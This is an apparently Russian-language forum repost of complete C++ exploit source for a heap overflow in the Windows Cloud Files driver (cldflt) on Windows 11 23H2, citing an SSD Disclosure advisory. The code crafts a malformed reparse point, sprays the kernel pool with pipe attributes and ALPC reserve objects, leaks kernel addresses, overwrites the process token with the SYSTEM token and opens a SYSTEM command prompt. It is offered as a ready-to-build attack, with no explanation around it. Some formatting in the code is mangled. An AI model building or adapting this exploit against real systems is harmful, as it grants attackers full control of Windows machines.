Пожалуйста, обратите внимание, что пользователь заблокирован
Affected Versions: Windows 11 23H2
Истоник:
https://ssd-disclosure.com/ssd-advisory-cldflt-heap-based-overflow-pe/
main.cpp
C++:
// main.cpp
#include <Windows.h>
#include <cfapi.h>
#include <tchar.h>
#include <stdio.h>
#include <winternl.h>
#include "main.h"
#pragma comment(lib, "cldapi.lib")
#pragma comment(lib, "ntdll.lib")
typedef struct _ALPC_MESSAGE_ATTRIBUTES {
ULONG AllocatedAttributes;
ULONG ValidAttributes;
}
ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;
typedef struct _ALPC_MESSAGE {
PORT_MESSAGE PortHeader;
BYTE PortMessage[1000];
}
ALPC_MESSAGE, * PALPC_MESSAGE;
/*
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID;
*/
/*
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemHandleInformation = 16,
SystemBigPoolInformation = 66
} SYSTEM_INFORMATION_CLASS;
*/
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
}
RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
}
RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
unsigned short UniqueProcessId;
unsigned short CreatorBackTraceIndex;
unsigned char ObjectTypeIndex;
unsigned char HandleAttributes;
unsigned short HandleValue;
void * Object;
unsigned long GrantedAccess;
long __PADDING__[1];
}
SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
unsigned long NumberOfHandles;
struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
}
SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct _SYSTEM_BIGPOOL_ENTRY {
union {
PVOID VirtualAddress;
ULONG_PTR NonPaged: 1;
};
SIZE_T SizeInBytes;
union {
UCHAR Tag[4];
ULONG TagUlong;
};
}
SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY;
typedef struct _SYSTEM_BIGPOOL_INFORMATION {
ULONG Count;
SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1];
}
SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION;
typedef NTSTATUS(NTAPI * NTFSCONTROLFILE)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PVOID ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG FsControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
extern "C"
NTSTATUS NTAPI NtAlpcCreatePort(
_Out_ PHANDLE PortHandle,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes
);
extern "C"
NTSTATUS NTAPI NtAlpcCreateResourceReserve(
_In_ HANDLE PortHandle,
_Reserved_ ULONG Flags,
_In_ SIZE_T MessageSize,
_Out_ PHANDLE ResourceId
);
extern "C"
NTSTATUS NTAPI NtAlpcSendWaitReceivePort(
_In_ HANDLE PortHandle,
_In_ ULONG Flags,
_Inout_opt_ PPORT_MESSAGE SendMessage,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes,
_Inout_opt_ PPORT_MESSAGE ReceiveMessage,
_Inout_opt_ PSIZE_T BufferLength,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes,
_In_opt_ PLARGE_INTEGER Timeout
);
NTFSCONTROLFILE NtFsControlFile;
PREPARSE_DATA_BUFFER MakeDataBuffer(PVOID overData, ULONG overSize) {
DWORD dataLen = 0x3fe8;
PBYTE data = new BYTE[dataLen];
memset(data, 0, dataLen);
*(PUSHORT) & data[0x0] = 0x0001;
*(PUSHORT) & data[0x2] = 0x4000;
PREPARSE_CLD_BUFFER cld = (PREPARSE_CLD_BUFFER) & data[4];
PBYTE p = (PBYTE) & cld -> Magic;
cld -> Magic = REPARSE_BUFFER_MAGIC_VALUE;
cld -> Reserved = 0x0000;
cld -> NumItems = 0;
cld -> Size = 0x3fe4;
CLD_ADD_ITEM(0x7, 1, 0x200); // must be {0, 1}
CLD_ADD_ITEM(0xa, 4, 0x204); // some kind of flag
CLD_ADD_ITEM(0x6, 8, 0x208); // ???
CLD_ADD_ITEM(0, 0, 0); // dummy
CLD_ADD_ITEM(0x11, 0x3800, 0x210); // bitmap
*(PBYTE) & p[0x200] = 0x01;
*(PULONG32) & p[0x204] = 0x00000000;
*(PULONG64) & p[0x208] = 0x0000000000000000;
cld = (PREPARSE_CLD_BUFFER) & p[0x210];
p = (PBYTE) & cld -> Magic;
cld -> Magic = REPARSE_BITMAP_MAGIC_VALUE;
cld -> Reserved = 0x0000;
cld -> NumItems = 0;
cld -> Size = 0x3800;
CLD_ADD_ITEM(0x7, 1, 0x100);
CLD_ADD_ITEM(0x7, 1, 0x101);
CLD_ADD_ITEM(0x7, 1, 0x102);
CLD_ADD_ITEM(0x6, 8, 0x104);
CLD_ADD_ITEM(0x11, 0x1000 + overSize, 0x110);
*(PBYTE) & p[0x100] = 0x00;
*(PBYTE) & p[0x101] = 0x01;
*(PBYTE) & p[0x102] = 0x00;
memcpy( & p[0x1110], overData, overSize);
PBYTE reparseBuffer = new BYTE[sizeof(REPARSE_DATA_BUFFER) + dataLen];
PREPARSE_DATA_BUFFER rd = (PREPARSE_DATA_BUFFER) reparseBuffer;
ZeroMemory(reparseBuffer, sizeof(REPARSE_DATA_BUFFER) + dataLen);
rd -> ReparseTag = IO_REPARSE_TAG_CLOUD;
rd -> ReparseDataLength = dataLen;
memcpy(rd -> GenericReparseBuffer.DataBuffer, data, dataLen);
return rd;
}
BOOL GetObjAddr(PVOID * ppObjAddr, ULONG ulPid, HANDLE handle) {
PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
ULONG ulBytes = 0;
NTSTATUS ntRet;
* ppObjAddr = NULL;
while ((ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) 16, pHandleInfo, ulBytes, & ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) {
if (pHandleInfo != NULL) {
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(pHandleInfo, 2 * ulBytes);
} else {
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) calloc(1, 2 * ulBytes);
}
}
if (!NT_SUCCESS(ntRet)) {
goto Exit;
}
for (ULONG i = 0; i < pHandleInfo -> NumberOfHandles; i++) {
if ((pHandleInfo -> Handles[i].UniqueProcessId == ulPid) && (pHandleInfo -> Handles[i].HandleValue == (USHORT) handle)) {
* ppObjAddr = pHandleInfo -> Handles[i].Object;
break;
}
}
Exit:
if (pHandleInfo)
free(pHandleInfo);
return ( * ppObjAddr != NULL);
}
BOOL GetPoolAddr(PVOID * ppPoolAddr, UINT tag, SIZE_T poolSize) {
NTSTATUS ntRet;
BOOL bRet = FALSE;
ULONG retlen;
* ppPoolAddr = NULL;
DWORD * info = (DWORD * ) malloc(0x1000);
PSYSTEM_BIGPOOL_INFORMATION pBigPoolInfo;
ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) 66, info, 0x1000, & retlen);
if ((ntRet != STATUS_INFO_LENGTH_MISMATCH) && !NT_SUCCESS(ntRet)) {
goto Exit;
}
info = (DWORD * ) realloc(info, retlen);
ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) 66, info, retlen, & retlen);
if (!NT_SUCCESS(ntRet)) {
goto Exit;
}
pBigPoolInfo = (PSYSTEM_BIGPOOL_INFORMATION) info;
if (pBigPoolInfo -> Count == 0) {
goto Exit;
}
for (ULONG i = pBigPoolInfo -> Count - 1; i >= 0; i--) {
if ((pBigPoolInfo -> AllocatedInfo[i].TagUlong == tag) && (pBigPoolInfo -> AllocatedInfo[i].SizeInBytes == poolSize)) {
* ppPoolAddr = pBigPoolInfo -> AllocatedInfo[i].VirtualAddress;
bRet = TRUE;
break;
}
}
Exit:
free(info);
return bRet;
}
HANDLE g_readPipe;
HANDLE g_writePipe;
BOOL PipeInit() {
return CreatePipe( & g_readPipe, & g_writePipe, NULL, 0);
}
BOOL PipeWriteAttr(VOID * attr, UINT attrSize) {
IO_STATUS_BLOCK iosb;
char output[0x100];
NTSTATUS ntRet = NtFsControlFile(g_writePipe, NULL, NULL, NULL, &
iosb, 0x11003C, attr, attrSize,
output, sizeof(output));
return NT_SUCCESS(ntRet);
}
BOOL PipeReadAttr(CHAR * pipeName, PVOID pOutput, SIZE_T outputSize) {
IO_STATUS_BLOCK iosb;
NTSTATUS ntRet = NtFsControlFile(g_writePipe, NULL, NULL, NULL, & iosb, 0x110038, pipeName, strlen(pipeName) + 1, pOutput, outputSize);
return NT_SUCCESS(ntRet);
}
BOOL PipePoolSprayAlloc(SIZE_T poolSize, UINT sprayCount, BYTE * pAttr, PCSTR szPrefix) {
BOOL bRet = TRUE;
SIZE_T attrSize = poolSize - 0x28;
for (UINT i = 0; i < sprayCount; i++) {
snprintf((CHAR * ) pAttr, attrSize, "%s%x", szPrefix, i);
if (!PipeWriteAttr(pAttr, attrSize)) {
bRet = FALSE;
break;
}
}
return bRet;
}
HANDLE g_hResource = NULL;
BOOL AllocateALPCReserveHandles(HANDLE * phPorts, UINT portsCount, UINT reservesCount) {
HANDLE hPort;
HANDLE hResource;
NTSTATUS ntRet;
for (UINT i = 0; i < portsCount; i++) {
hPort = phPorts[i];
for (UINT j = 0; j < reservesCount; j++) {
ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, & hResource);
if (!NT_SUCCESS(ntRet))
return FALSE;
if (g_hResource == NULL) { // save only the very first
g_hResource = hResource;
}
}
}
return TRUE;
}
BOOL isKernAddr(ULONG_PTR kaddr) {
return ((kaddr & 0xffff800000000000) == 0xffff800000000000);
}
BOOL CreateALPCPorts() {
ALPC_PORT_ATTRIBUTES portAttr;
OBJECT_ATTRIBUTES oa;
NTSTATUS status;
UNICODE_STRING objName;
WCHAR portName[100];
for (UINT i = 0; i < g_portCount; i++) {
swprintf_s(portName, 100, L "\\RPC Control\\TestPort_%d", i);
RtlInitUnicodeString( & objName, portName);
InitializeObjectAttributes( & oa, & objName, 0, 0, NULL);
ZeroMemory( & portAttr, sizeof(portAttr));
portAttr.MaxMessageLength = MAX_MSG_LEN;
status = NtAlpcCreatePort( & g_ports[i], & oa, & portAttr);
if (NT_SUCCESS(status) == FALSE) {
return FALSE;
}
}
return TRUE;
}
BOOL GetTokenOffset(PUINT offset) {
BOOL result = FALSE;
PBYTE peb;
USHORT buildNumber;
peb = * (PBYTE * )((PBYTE) NtCurrentTeb() + 0x60);
buildNumber = * (PUINT16) & peb[0x120];
if (WINDOWS_BUILD_19H1 <= buildNumber && buildNumber <= WINDOWS_BUILD_19H2) {
* offset = 0x360;
result = TRUE;
} else if (buildNumber >= WINDOWS_BUILD_19H2) {
* offset = 0x4b8;
result = TRUE;
}
return result;
}
BOOL Initialize() {
BOOL result;
g_ports = (PHANDLE) HeapAlloc(GetProcessHeap(), 0, g_portCount * sizeof(HANDLE));
if (g_ports == NULL) {
return FALSE;
}
result = CreatePipe( & g_readPipe, & g_writePipe, NULL, 0);
if (result == FALSE) {
return FALSE;
}
result = CreateALPCPorts();
if (result == FALSE) {
return FALSE;
}
CONST ULONG poolAlHaSize = 0x1000;
CONST ULONG reservesCount = (poolAlHaSize / 2) / sizeof(ULONG_PTR) + 1;
printf(" allocating alpc reserve handles\n");
result = AllocateALPCReserveHandles(g_ports, g_portCount, reservesCount - 1);
if (!result) {
return FALSE;
}
HMODULE ntdll;
ntdll = LoadLibraryW(L "ntdll.dll");
if (ntdll == NULL) {
return FALSE;
}
NtFsControlFile = (NTFSCONTROLFILE) GetProcAddress(ntdll, "NtFsControlFile");
if (NtFsControlFile == NULL) {
return FALSE;
}
PKALPC_BLOB blob;
blob = (PKALPC_BLOB) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(KALPC_BLOB) + sizeof(KALPC_RESERVE));
if (blob == NULL) {
return FALSE;
}
blob -> Ref = 1;
blob -> Type = AlpcReserveType;
g_reserve = (PKALPC_RESERVE) & blob -> Data;
blob = (PKALPC_BLOB) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(KALPC_BLOB) + sizeof(KALPC_MESSAGE));
if (blob == NULL) {
return FALSE;
}
blob -> Ref = 1;
blob -> Type = AlpcMessageType;
g_message = (PKALPC_MESSAGE) & blob -> Data;
g_reserve -> Size = sizeof(KALPC_RESERVE) - sizeof(g_reserve -> Size);
g_reserve -> Message = g_message;
g_message -> Reserve = g_reserve;
return TRUE;
}
int main() {
BOOL result;
NTSTATUS status;
UINT tokenOffset;
printf("[*] Checking windows version...\n");
if (GetTokenOffset( & tokenOffset) == FALSE) {
printf("[-] Error\n");
return FALSE;
}
printf("[*] Initializing...\n");
if (Initialize() == FALSE) {
printf("[-] Error\n");
return FALSE;
}
CF_SYNC_REGISTRATION reg = {};
reg.StructSize = sizeof(reg);
reg.ProviderName = L "TestProvider";
reg.ProviderVersion = L "1234";
reg.ProviderId = {
0xB196E670,
0x59C7,
0x4D41,
{
0
}
};
CF_SYNC_POLICIES pol = {};
pol.StructSize = sizeof(pol);
pol.HardLink = CF_HARDLINK_POLICY_ALLOWED;
pol.InSync = CF_INSYNC_POLICY_NONE;
pol.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
pol.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
CF_CONNECTION_KEY key = {};
CF_CALLBACK_REGISTRATION table[1] = {
CF_CALLBACK_REGISTRATION_END
};
WCHAR targetDir[MAX_PATH + 1] = {};
WCHAR targetPath[MAX_PATH + 1] = {};
WCHAR tmpPath[MAX_PATH + 1] = {};
GetCurrentDirectory(MAX_PATH, targetDir);
swprintf_s(targetPath, L "%s\\SYNC_ROOT", targetDir);
CfUnregisterSyncRoot(targetPath);
RemoveDirectory(targetPath);
printf(" registering provider\n");
result = CreateDirectory(targetPath, NULL);
if (result == FALSE) {
printf("[-] Error\n");
return FALSE;
}
status = CfRegisterSyncRoot(targetPath, & reg, & pol, CF_REGISTER_FLAG_NONE);
if (NT_SUCCESS(status) == FALSE) {
printf("[-] Error\n");
return FALSE;
}
status = CfConnectSyncRoot(targetPath, table, NULL, CF_CONNECT_FLAG_NONE, & key);
if (NT_SUCCESS(status) == FALSE) {
printf("[-] Error\n");
return FALSE;
}
printf(" creating reparse point\n");
swprintf_s(tmpPath, L "%s\\XXX", targetPath);
result = CreateDirectory(tmpPath, NULL);
if (result == FALSE) {
printf("[-] Error\n");
return FALSE;
}
swprintf_s(tmpPath, L "%s\\XXX", targetDir);
result = MoveFile(targetPath, tmpPath);
if (result == FALSE) {
printf("[-] Error\n");
return FALSE;
}
printf(" setting reparse data\n");
IO_STATUS_BLOCK iosb = {};
OBJECT_ATTRIBUTES objAttr = {};
UNICODE_STRING objName = {};
WCHAR path[MAX_PATH];
HANDLE file;
swprintf_s(path, MAX_PATH, L "\\??\\%s%s", targetDir, L "\\XXX\\XXX");
RtlInitUnicodeString( & objName, path);
InitializeObjectAttributes( & objAttr, & objName, 0x40, 0, NULL);
status = NtCreateFile( & file, GENERIC_READ | GENERIC_WRITE, & objAttr, & iosb, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0);
if (NT_SUCCESS(status) == FALSE) {
printf("[-] Error\n");
return FALSE;
}
PREPARSE_DATA_BUFFER rd = MakeDataBuffer( & g_reserve, sizeof(g_reserve));
if (rd == NULL) {
printf("[-] Error\n");
return FALSE;
}
status = NtFsControlFile(file, NULL, NULL, NULL, & iosb, FSCTL_SET_REPARSE_POINT, rd, rd -> ReparseDataLength + REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, 0);
CloseHandle(file);
swprintf_s(tmpPath, L "%s\\XXX", targetDir);
result = MoveFile(tmpPath, targetPath);
if (result == FALSE) {
printf("[-] Error\n");
return FALSE;
}
// Trigger
ULONG attrSize = 0x1000;
BYTE * pAttr = (BYTE * ) calloc(attrSize + 10, sizeof(BYTE));
memset(pAttr, 0, attrSize);
result = PipePoolSprayAlloc(0x1000, 1, pAttr, "x");
if (!result) {
printf("[-] Error\n");
return FALSE;
}
result = PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "a");
if (!result) {
printf("[-] Error\n");
return FALSE;
}
result = PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "b");
if (!result) {
printf("[-] Error\n");
return FALSE;
}
UINT holesCount = 0;
for (int i = 0; i < SPRAY_COUNT; i += 2) {
snprintf((CHAR * ) pAttr, attrSize, "%s%x", "b", i);
if (!PipeWriteAttr(pAttr, strlen((CHAR * ) pAttr) + 1)) {
printf("[-] Error\n");
return FALSE;
}
holesCount++;
}
result = AllocateALPCReserveHandles(g_ports, g_portCount, 1);
if (!result) {
printf("[-] Error\n");
return FALSE;
}
for (int i = 1; i < SPRAY_COUNT; i += 2) {
snprintf((CHAR * ) pAttr, attrSize, "%s%x", "b", i);
if (!PipeWriteAttr(pAttr, strlen((CHAR * ) pAttr) + 1)) {
printf("[-] Error\n");
return FALSE;
}
}
swprintf_s(tmpPath, L "%s\\XXX", targetPath);
file = CreateFile(tmpPath, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
printf("[*] Cleaning up...\n");
status = CfDisconnectSyncRoot(key);
if (NT_SUCCESS(status) == FALSE) {
printf("[-] Error\n");
return FALSE;
}
status = CfUnregisterSyncRoot(targetPath);
if (NT_SUCCESS(status) == FALSE) {
printf("[-] Error\n");
return FALSE;
}
swprintf_s(tmpPath, L "%s\\XXX", targetPath);
result = RemoveDirectory(tmpPath);
if (result == FALSE) {
printf("[-] Error\n");
return FALSE;
}
result = RemoveDirectory(targetPath);
if (result == FALSE) {
printf("[-] Error\n");
return FALSE;
}
printf("[*] Entering interactive session...\n");
ULONG_PTR ullEPROCaddr = NULL;
ULONG_PTR ullSystemEPROCaddr = NULL;
DWORD dwPid = GetCurrentProcessId();
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwPid);
if (hProc == NULL) {
printf("[-] Error\n");
return FALSE;
}
CONST UINT PIPE_ATTR_TAG = 0x7441704E;
ULONG_PTR ullPipeAttributeAddr = NULL;
result = GetPoolAddr((PVOID * ) & ullPipeAttributeAddr, PIPE_ATTR_TAG, 0x1000);
if (!result) {
printf("[-] Error\n");
return FALSE;
}
result = GetObjAddr((PVOID * ) & ullSystemEPROCaddr, 4, (HANDLE) 4);
if (!result) {
printf("[-] Error\n");
return FALSE;
}
result = GetObjAddr((PVOID * ) & ullEPROCaddr, GetCurrentProcessId(), hProc);
if (!result) {
printf("[-] Error\n");
return FALSE;
}
CHAR pipeName[] = "xxx";
BYTE * outputData = (BYTE * ) calloc(1, 0x1000);
ULONG_PTR ullToken;
LIST_ENTRY tmpEntry;
g_message -> ExtensionBuffer = (BYTE * ) ullPipeAttributeAddr + 0x20;
g_message -> ExtensionBufferSize = 0x10;
ULONG DataLength = 0x10;
ALPC_MESSAGE * alpcMessage = (ALPC_MESSAGE * ) calloc(1, sizeof(ALPC_MESSAGE));
alpcMessage -> PortHeader.u1.s1.DataLength = DataLength;
alpcMessage -> PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
alpcMessage -> PortHeader.MessageId = (ULONG) g_hResource;
ULONG_PTR * pAlpcMsgData = (ULONG_PTR * )((BYTE * ) alpcMessage + sizeof(PORT_MESSAGE));
pAlpcMsgData[0] = ullSystemEPROCaddr; // AttributeValue
pAlpcMsgData[1] = 0x00787878; // name
for (int i = 0; i < g_portCount; i++) {
status = NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE) alpcMessage, NULL, NULL, NULL, NULL, NULL);
if (!NT_SUCCESS(status)) {
printf("[-] Error\n");
return FALSE;
}
}
// read system token
result = PipeReadAttr(pipeName, outputData, 0x1000);
if (!result) {
printf("[-] Error\n");
return FALSE;
}
ullToken = * (ULONG_PTR * )(outputData + tokenOffset);
tmpEntry = g_message -> Entry;
if (!isKernAddr(ullToken)) {
printf("[-] Error\n");
return FALSE;
}
PKALPC_BLOB blob;
blob = (PKALPC_BLOB)(g_reserve) - 1;
memset(blob, 0, sizeof(KALPC_BLOB) + sizeof(KALPC_RESERVE));
blob -> Ref = 1;
blob -> Type = AlpcReserveType;
g_reserve -> Size = 0x28;
g_reserve -> Message = g_message;
blob = (PKALPC_BLOB)(g_message) - 1;
memset(blob, 0, sizeof(KALPC_BLOB) + sizeof(KALPC_MESSAGE));
blob -> Ref = 1;
blob -> Type = AlpcMessageType;
g_message -> Reserve = g_reserve;
g_message -> ExtensionBuffer = (BYTE * ) ullEPROCaddr + tokenOffset;
g_message -> ExtensionBufferSize = 8;
DataLength = 8;
memset(alpcMessage, 0, sizeof(ALPC_MESSAGE));
alpcMessage -> PortHeader.u1.s1.DataLength = DataLength;
alpcMessage -> PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
alpcMessage -> PortHeader.MessageId = (ULONG) g_hResource;
pAlpcMsgData[0] = ullToken;
for (int i = 0; i < g_portCount; i++) {
NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE) alpcMessage, NULL, NULL, NULL, NULL, NULL);
}
g_message -> Entry = tmpEntry;
STARTUPINFO StartupInfo = {
0
};
PROCESS_INFORMATION ProcessInformation = {
0
};
result = CreateProcess(
L "C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL, &
StartupInfo, &
ProcessInformation
);
if (result == FALSE) {
printf("[-] Error\n");
return FALSE;
}
while (1) {};
}
main.h
C++:
#pragma once
/*
Definitions (main.h)
*/
#define MAX_MSG_LEN 0x500
#define ALPC_MSGFLG_NONE 0x0
#define STATUS_INFO_LENGTH_MISMATCH((NTSTATUS) 0xC0000004 L)
#define WINDOWS_BUILD_19H1 18362
#define WINDOWS_BUILD_19H2 18363
#define SPRAY_COUNT 0x1000
#define REPARSE_BUFFER_MAGIC_VALUE 'pReF'
#define REPARSE_BITMAP_MAGIC_VALUE 'pRtB'
#define TARGET_PATH L "C:\\Users\\user\\source\\repos\\ConsoleApplication2\\SYNC_ROOT"
#define TARGET_DIR L "C:\\Users\\user\\source\\repos\\ConsoleApplication2\\"
#define CLD_ADD_ITEM(tag, size, offset) {
cld -> Items[cld -> NumItems].Tag = tag;
cld -> Items[cld -> NumItems].Size = size;
cld -> Items[cld -> NumItems].Offset = offset;
cld -> NumItems++;
}
/*
Structs
*/
typedef enum _KALPC_BLOB_TYPE {
AlpcMessageType = 0x200,
AlpcReserveType = 0x700
}
KALPC_BLOB_TYPE;
typedef struct _PORT_MESSAGE {
union {
struct {
USHORT DataLength;
USHORT TotalLength;
}
s1;
ULONG Length;
}
u1;
union {
struct {
USHORT Type;
USHORT DataInfoOffset;
}
s2;
ULONG ZeroInit;
}
u2;
union {
CLIENT_ID ClientId;
double DoNotUseThisField;
};
ULONG MessageId;
union {
SIZE_T ClientViewSize;
ULONG CallbackId;
};
}
PORT_MESSAGE, * PPORT_MESSAGE;
typedef struct _KALPC_BLOB {
ULONGLONG Type;
LONGLONG Ref;
ULONGLONG Reserved1;
ULONGLONG Reserved2;
CHAR Data[];
}
KALPC_BLOB, * PKALPC_BLOB;
typedef struct _KALPC_MESSAGE {
struct _LIST_ENTRY Entry;
struct _ALPC_PORT * PortQueue;
struct _ALPC_PORT * OwnerPort;
struct _ETHREAD * WaitingThread;
union {
struct {
ULONG QueueType: 3;
ULONG QueuePortType: 4;
ULONG Canceled: 1;
ULONG Ready: 1;
ULONG ReleaseMessage: 1;
ULONG SharedQuota: 1;
ULONG ReplyWaitReply: 1;
ULONG OwnerPortReference: 1;
ULONG ReceiverReference: 1;
ULONG ViewAttributeRetrieved: 1;
ULONG ViewAttributeDeleteOnRelease: 1;
ULONG InDispatch: 1;
ULONG InCanceledQueue: 1;
}
s1;
ULONG State;
}
u1;
LONG SequenceNo;
union {
struct _EPROCESS * QuotaProcess;
VOID * QuotaBlock;
};
struct _ALPC_PORT * CancelSequencePort;
struct _ALPC_PORT * CancelQueuePort;
LONG CancelSequenceNo;
struct _LIST_ENTRY CancelListEntry;
struct _KALPC_RESERVE * Reserve;
BYTE MessageAttributesStub[0x48];
VOID * DataUserVa;
struct _ALPC_COMMUNICATION_INFO * CommunicationInfo;
struct _ALPC_PORT * ConnectionPort;
struct _ETHREAD * ServerThread;
VOID * WakeReference;
VOID * WakeReference2;
VOID * ExtensionBuffer;
ULONGLONG ExtensionBufferSize;
struct _PORT_MESSAGE PortMessage;
}
KALPC_MESSAGE, * PKALPC_MESSAGE;
typedef struct _KALPC_RESERVE {
struct _ALPC_PORT * OwnerPort;
struct _ALPC_HANDLE_TABLE * HandleTable;
VOID * Handle;
struct _KALPC_MESSAGE * Message;
ULONGLONG Size;
LONG Active;
}
KALPC_RESERVE, * PKALPC_RESERVE;
typedef struct _ALPC_PORT_ATTRIBUTES {
unsigned long Flags;
SECURITY_QUALITY_OF_SERVICE SecurityQos;
unsigned __int64 MaxMessageLength;
unsigned __int64 MemoryBandwidth;
unsigned __int64 MaxPoolUsage;
unsigned __int64 MaxSectionSize;
unsigned __int64 MaxViewSize;
unsigned __int64 MaxTotalSectionSize;
ULONG DupObjectTypes;
#ifdef _WIN64
ULONG Reserved;
#endif
}
ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;
typedef struct _REPARSE_DATA_BUFFER {
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
union {
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
ULONG Flags;
WCHAR PathBuffer[1];
}
SymbolicLinkReparseBuffer;
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
WCHAR PathBuffer[1];
}
MountPointReparseBuffer;
struct {
UCHAR DataBuffer[1];
}
GenericReparseBuffer;
}
DUMMYUNIONNAME;
}
REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
typedef struct {
WORD Tag;
WORD Size;
DWORD Offset;
}
REPRASE_CLD_ITEM, * PREPRASE_CLD_ITEM;
typedef struct {
DWORD Magic;
DWORD Crc32;
DWORD Size;
WORD Reserved;
WORD NumItems;
REPRASE_CLD_ITEM Items[];
}
REPARSE_CLD_BUFFER, * PREPARSE_CLD_BUFFER;
/*
Globals
*/
UINT g_portCount = SPRAY_COUNT;
PHANDLE g_ports;
PKALPC_RESERVE g_reserve;
PKALPC_MESSAGE g_message;